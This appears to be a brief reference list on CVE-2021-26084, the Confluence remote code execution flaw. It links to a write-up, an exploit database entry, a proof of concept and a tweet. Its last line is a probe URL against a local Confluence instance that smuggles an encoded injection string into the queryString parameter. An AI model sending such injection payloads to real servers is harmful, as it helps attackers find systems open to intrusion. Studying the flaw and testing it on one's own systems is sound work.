CVE-2021-26084 Remote Code Execution on Confluence Servers

https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

https://www.exploit-db.com/exploits/50243

https://github.com/alt3kx/CVE-2021-26084_PoC

https://twitter.com/wvuuuuuuuuuuuuu/status/1432918959389614083

http://127.0.0.1:8090/pages/doenterpagevariables.action?queryString=foo%5cu0027%2b%5cu0027bar